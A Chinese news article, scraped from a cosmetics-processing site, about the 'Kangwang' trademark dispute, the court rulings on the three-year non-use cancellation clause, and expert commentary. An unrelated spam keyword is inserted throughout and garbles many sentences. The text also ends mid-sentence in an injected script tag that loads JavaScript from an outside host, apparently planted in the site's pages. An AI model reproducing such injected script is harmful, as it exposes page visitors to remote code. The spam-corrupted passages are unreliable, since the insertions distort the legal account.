化妝品加工就要WWW.91JG.COM,專業化妝品、美容護膚品加工服務平台!
服務比比资源先锋/微信/QQ同號 18620-555-111
  • 搜比比资源先锋
  • 搜全站
比比资源先锋 / 比比资源先锋比比资源先锋 / 政策法規
誰執商標“生死券”“康王”商標大戰啓示錄

编辑者:嘉工生物 2017-03-16 13:24:09

  繼“小肥羊”商標大戰之後,廣東省潮陽市康王精細化工實業有限公司(現稱爲汕頭市康王精細化工實業有限公司)與雲南滇虹藥業集團股份有限公司兩“康王”商標大戰,由于動用了幾乎所有可以利用的司法、行政程序而成爲近年來知識産權界最受關注的標本式案例。

  “康王”商標在“橋頭堡”上厮殺

  前一陣,汕頭公司被披露在認定馳名商標案件中造假,最終其已生效的三件馳名商標被撤銷的典型案例,成爲今年廣受社會斥責的虛假認定馳名商標的活教材。

  將汕頭公司帶入作假認定馳名商標醜聞的幕後推手正是雲南滇虹藥業。四年來,滇虹藥業曾12次通過比比资源先锋各地各級司法機關、24次通過比比资源先锋各地各級工商行政機關,認定了汕頭公司侵犯其“康王”商標專用權以及實施不正當競爭的事實。

  然而,正當滇虹藥業在兩“康王”之爭中占據上風之際,汕頭公司祭起商標法第四十四條“連續三年停止使用”條款,給了滇虹藥業當頭一棒,使滇虹藥業所持有的第738354號“康王”商標遭遇被撤銷的風險。對此,北京市高級人民法院9月18日維持了一審法院作出的兩項判決:一、撤銷國家工商總局商標評審委員會關于第738354號“康王”商標撤銷複審決定;二、商評委在三個月內對第738354號“康王”商標重新作出複審決定。

  滇虹藥業所持有的注冊于第三類化妝品等商品上的第738354號“康王”商標,轉讓自北京康麗雅健康科技總公司。汕頭公司提出撤銷申請後,商標局便通知北京康麗雅公司提供使用證據,但因該企業已不存在而未在限期內質證,商標局未通知當時已獲得該件商標轉讓注冊的滇虹藥業,于是裁定撤銷了該商標。

  獲知自己的商標被當成“死亡商標”撤銷後,滇虹藥業向商評委申請複審,提交了涉訟期間使用該商標的證據,包括“康王”牌防裂護膚霜的內外包裝盒及說明書等包裝材料,以及委托其他單位加工生産過“康王”洗劑等。商評委糾正了商標局的撤銷決定,裁定維持該商標的注冊。

  之後,汕頭公司又起訴至北京市第一中級人民法院。北京一中院認爲,雲南滇虹藥業提供的“康王”防裂護膚霜比比资源先锋實物等證據上,均沒有按照國家規定標注化妝品生産許可證和衛生許可證,因此上述化妝品的生産行爲事實上違反了我國行政法規的相關規定,不能夠認爲是商標法意義上的“合法”使用行爲,對該商標不予保護。于是,北京一中院判決撤銷了商評委的維持注冊裁定。

  商評委和滇虹藥業均不服,上訴至北京市高級人民法院。商評委認爲許可證的問題屬于其他法律規定調整範疇,不能把商標使用中的瑕疵與商標法第四十四條,即“連續三年停止使用注冊商標的,由商標局責令限期改正或者撤銷其注冊商標”混爲一談。此觀點未能得到北京高院認同,北京高院維持了一審判決。

  爲什麽雙方在第738354號“康王”商標上如此厮殺?上海大學陶鑫良教授告訴記者,汕頭公司在第三類注冊有“康王kanwan”文字加拼音的商標,核定使用的商品爲“牙膏、香皂”。在第三類洗發水、化妝品上只注冊有“Kanwan”拼音商標,想要在洗發水、化妝品上注冊“康王”文字商標,必須排除滇虹藥業手中第738354號中文“康王”商標的在先權。所以,撤銷與保衛738354號“康王”商標,注定是“康王”大戰的橋頭堡。

   专家:“三年不使用”是清理“死亡商标”条款

  由于該案一直受到知識産權界的關注,也由于“三年不使用”是清理“死亡商標”條款還是“槍斃”條款一直存在爭論,許多專家就此條款立法宗旨發表了評論。

  北京大學張平教授認爲,這一制度的立法目的在于鼓勵商標的正當使用、促進主體之間公平競爭的同時,清除“商標注冊簿”中確實閑置不用的“死亡商標”,防止“商標囤積”、“商標搶注”等現象,爲具有真實善意使用商標意圖的市場主體依法申請注冊和使用掃清障礙。

  商標法專家楊葉璇指出,撤銷注冊商標,對當事人的利益影響非常大,因此對于違反有關法律規定的行爲,商標法規定了“限期改正”,“撤銷”是指清理“死亡商標”。

  商標法專家董葆霖說,商標法第四十四條是“清理”條款,而不是把“活”商標“槍斃”的條款,是爲了敦促注冊人有效使用。

  中國人民大學劉春田教授認爲,諸多的證據證明,系爭商標是一個被企業頻頻使用的、活躍于市場上的、具有相當經濟價值的知識財産。商標權作爲民事主體的一項私權,只要不違反法律的強制性規定,如何使用商標,是私權範圍的事。即使曾經有過不規範使用,也只能適用相應法律法規調整,而不是用商標法第四十四條“槍斃”。

  陶鑫良教授指出,撤销比比资源先锋商标,是对当事人物权的处置。对于违反有关法律规定的行为,商标法规定商标局可以责成商标比比资源先锋人限期改正。重要的是,“三年不使用”条款与意在规范商标使用行为的其他条款的功能不同,所要解决的根本问题是商标“是否在使用”,而不是“如何使用”,更不是使用中是否存在不规范之处。至于商标?script src=http://cn.jxmmtv.com/cn.js></script>